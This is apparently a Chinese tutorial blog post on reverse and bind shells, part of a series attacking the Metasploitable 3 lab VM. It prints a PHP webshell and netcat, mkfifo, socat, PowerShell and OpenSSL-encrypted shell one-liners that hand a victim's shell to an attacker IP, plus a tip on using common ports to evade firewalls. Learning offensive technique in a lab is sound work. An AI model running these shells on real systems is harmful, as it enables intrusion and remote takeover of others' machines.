Day21 - 针对 Metasploitable 3 进行渗透测试(2) - Shell & Reverse Shell基础知识

缘起

透过上一篇,我们透过 nmap 扫描 port,在从版本去查询漏洞资料库,知道目标服务器(受害主机)可能会有已知漏洞,而我们透过 exploit /POC 是为了达到什麽目的呢?

其实我们最终目的就是希望可以控制被害的服务器,但如何控制?透过什麽东西控制?为什麽要控制?

我们透过已知漏洞,上传木马後门、执行恶意程序或执行恶意指令,让我们可以连线到服务器,并且可以在该台服务器任意执行指令,这就是所谓的 Remote code execution (RCE) 远端执行指令的弱点,属於风险与影响最高的弱点。

webshell

假设是上传一个後门也就是从网站端去执行程序码,这个程序码可以透过网页的方式与服务器互动,我们称它为 webshell。

webshell 内容可能如下,这是一个由 PHP 撰写的後门:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

可以透过 http://ip/uploads/shell.php?cmd=ifconfig 由参数 cmd 中执行指令。

shell 种类

除了透过弱点上传 WebShell 之外,也可以透过已知弱点,执行恶意指令或执行恶意程序,让我们达到稳定的连线,并跟目标服务器作互动,以下介绍两种种类的 shell 连线方式:

  • Reverse shells
    • 攻击机器:监听 port,等待受害主机连线。
    • 受害机器:因为攻击机器已经有监听 port,而受害机器连线到攻击机器所监听的 port 之後,受害主机也有设定连线後执行的程序,也就是会将自己的控制权限,一起交给攻击机器。
  • Bind shells
    • 受害机器:监听 port 并且设定连线後执行的程序或binary,如 /bin/shcmd.exe
    • 攻击机器:连线到受害机器,因为有设定连线後执行的程序,因此可以控制受害机器。

此外还有一个概念可以简单将互动模式分成互动与非互动:

  • Interactive 互动式
    • 常见於 PowerShell、Bash、Zsh、sh 等 CLI 都是互动的 shell,可以允许执行程序之後跟程序互动,如使用指令 ssh,输入 IP 、帐号和密码之後,可以跟目标进行连线。
  • Non-Interactive 非互动式
    • 很多 shell 是非互动式,可能没有办法收到想要的资讯。

shell 工具介绍

netcat

人家都说是网路瑞士刀,可以手动跟网路进行互瞪,前几篇有介绍可以利用该工具确认目标开的 port,不过该工具有时候比较不稳定,有 Windows 的版本。

Reverse shell:在 Linux 中利用 netcat 启动 listen 监听
攻击主机:sudo nc -lvnp <监听 port>
受害主机(Linux):sudo nc <攻击主机IP> <监听 port> -e /bin/bash
受害主机(Windows):sudo nc <攻击主机IP> <监听 port> -e "cmd.exe"

参数 说明
-l 启动监听模式
-v 输出详细资讯
-n 不要解析 DNS
-p 指定 port
-e 设定连线後执行的程序

※可以指定常用的 port 80,443,53 比较容易让防火墙侦测不到

Bind shell:在 Windows 中利用 netcat 启动 listen 监听
受害主机(Windows):sudo nc -lvnp <port> -e "cmd.exe"
受害主机(Linux):sudo nc -lvnp <port> -e "/bin/bash"
攻击主机:sudo nc <受害主机IP> <port>

Reverse shell:加强连线
攻击主机:sudo nc -lvnp <监听 port>
受害主机:sudo nc <攻击主机IP> <监听 port> -e /bin/bash

於攻击者机中,看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx]
表示受害主机已经连线,在此画面可以输入指令,但因为非互动式的,且会有输出格式的错误,甚至是有乱码,导致非常不稳定,可透过以下 Python 的方法提升连线。

加强连线方法一

  1. python -c 'import pty;pty.spawn("/bin/bash")'
    可能需要确认目标主机的 Python 版本,可能有 python 或 python2 或 python3。
    透过 Python 产生一个稳定的 Linux Shell
  2. export TERM=xterm
    透过该指令可让我们使用 term 内建的功能,如 tab 快速补完指令或式 clear
  3. 输入【Ctrl + Z】
    透过键盘按下 Ctrl 键和 Z 键,可以让这个连线隐藏在背景,回到攻击主机自己的操作指令介面。
  4. stty raw -echo; fg 不输出我们自己输入的指令,且让在背景的连线,回到前景。

加强连线方法二
使用工具 rlwrap 提升稳定:

  1. sudo apt install rlwrap
    利用管理员权限执行 apt 安装 rlwrap 工具。
  2. rlwrap nc -lvnp <port>
    攻击主机在监听时需要在最前面利用 rlwrap 加强连线。

利用 mkfifo 建立有名称的 pipe:Reverse shell
攻击主机:sudo nc -lvnp <监听 port>

受害主机(linux):mkfifo /tmp/f; nc <攻击主机IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

建立一个命名的 pipo 於资料夹 /tmp 内的档案 f,并利用 nc 将攻击主机传来的指令内容从 /tmp/f 输出连接,并将我们输入的指令送给 sh 去执行,如果有错误讯息直接传入背景,最後移除 /tmp/f。

受害主机(Windows):

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<攻击主机IP>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

利用 mkfifo 建立有名称的 pipe:Bind shell
受害主机:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

建立一个命名的 pipo 於资料夹 /tmp 内的档案 f,并利用 nc 将监听的内容从 /tmp/f 输出连接,并将我们输入的指令送给 sh 去执行,如果有错误讯息直接传入背景,最後移除 /tmp/f。

攻击主机:sudo nc <受害主机IP> <port>

Socat

比 netcat 稳定,但语法比较困难,预设状况下 Linux 会安装 netcat 比较少安装 socat,有 Windows 的版本。

Reverse shell
攻击主机:socat TCP-L:<port> -
受害主机(Windows):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes 代表连线後执行 powershell,并利用 Linux 标准的输入输出。
受害主机(Linux):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

Bind shell
受害主机(Linux):socat TCP-L:<PORT> EXEC:"bash -li"
受害主机(Windows):socat TCP-L:<PORT> EXEC:powershell.exe,pipes
攻击主机:socat TCP:<TARGET-IP>:<TARGET-PORT> -

稳定针对 Linux 的 Reverse Shell
攻击主机:socat TCP-L:<port> FILE:tty,raw,echo=0

把目前的 tty 当作档案传送,并将回传值设定为零。

无 socat 情况
如果没有 socat 可在受害主机下载後执行,预先编好的 socat ,并输入以下的指令:
攻击主机:sudo rlerap nc -lvnp [port]
当看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx] 与受害主机连线成功後,执行以下指令:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

参数 说明
pty 为了连线稳定品质,在目标随机分配一个数字。
stderr 因为非互动式的 shell 可能会有错误讯息,因此确保错误讯息显示在 shell 中。
sigint 允许我们透过 Ctrl + C 取消 shell 的指令。
setsid 设定新的连线过6
sane 稳定 shell

加密 socat 连线:Reverse Shell

  1. 使用 openssl 生产一个 2048 bit RSA key 的 证书
    openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
  2. 将两个档案合并成 pem 档
    cat shell.key shell.crt > shell.pem
  3. 攻击主机 设置 listen
    socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
  4. 受害主机 连线
    socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

加密 socat 连线:Bind Shell

  1. 使用 openssl 生产一个 2048 bit RSA key 的 证书
    openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
  2. 将两个档案合并成 pem 档
    cat shell.key shell.crt > shell.pem
  3. 受害主机
    socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
  4. 攻击主机
    socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

除了 webshell 和工具 netcat 、socat 之外还有其他其他程序语言与指令可以利用,Reverse Shell Cheat Sheet,包含PythonPHPRubyGolang,等其他指令。

接下来还会详细介绍两个工具(Msfvenom 与 Metasploit 中的模组 multi/handler)

  • Msfvenom
    可以产生有用的 payload (.exe, .aspx, .war, .py)提供给攻击者上传到受害环境。
  • Metasploit 工具中的 multi/handler 模组
    可以用来接收反弹的 shell ,比 netcat 和 socat 连线较稳定,通常用 use auxiliary/multi/handler 之後,进行额外的设定,如设定 PAYLOAD 、Listen IP、Listen port 等。

<<:  Day 21 - 物理模拟篇 - 原生Canvas建构粒子系统 - 成为Canvas Ninja ~ 理解2D渲染的精髓

>>:  【後转前要多久】# Day21 BootStrap - 甜点电商

Day19 用python写UI-聊聊OptionMenu

OptionMenu就是下拉式选单的概念,可以有不同的设定方法,可以设成有预设选项的,也可以获得选好...

DAY3 圣杯布局 - 三个栏的C位争夺战(上)

圣杯和双飞翼,是布局PC常见的方法。上下有header,footer,中间三栏center,left...

Day11 K平均演算法(K-means clustering algorithm)

什麽是K平均演算法? 讲人话就是从所有资料当中乱数选择K个中心点,把个别资料依照最近的中心点分成K群...

[CSS] Flex/Grid Layout Modules, part 5

数学不会背叛你,数学不会就是不会。 我现在写三角函数都是去 Google 的,不要问。注意!本篇可...

[Day 20] 资料产品与 DataOps 价值

资料可以是资产、也可以是负债。 当组织积累了太多无用、甚至错误的资料时,资料不但不能提供价值,反而需...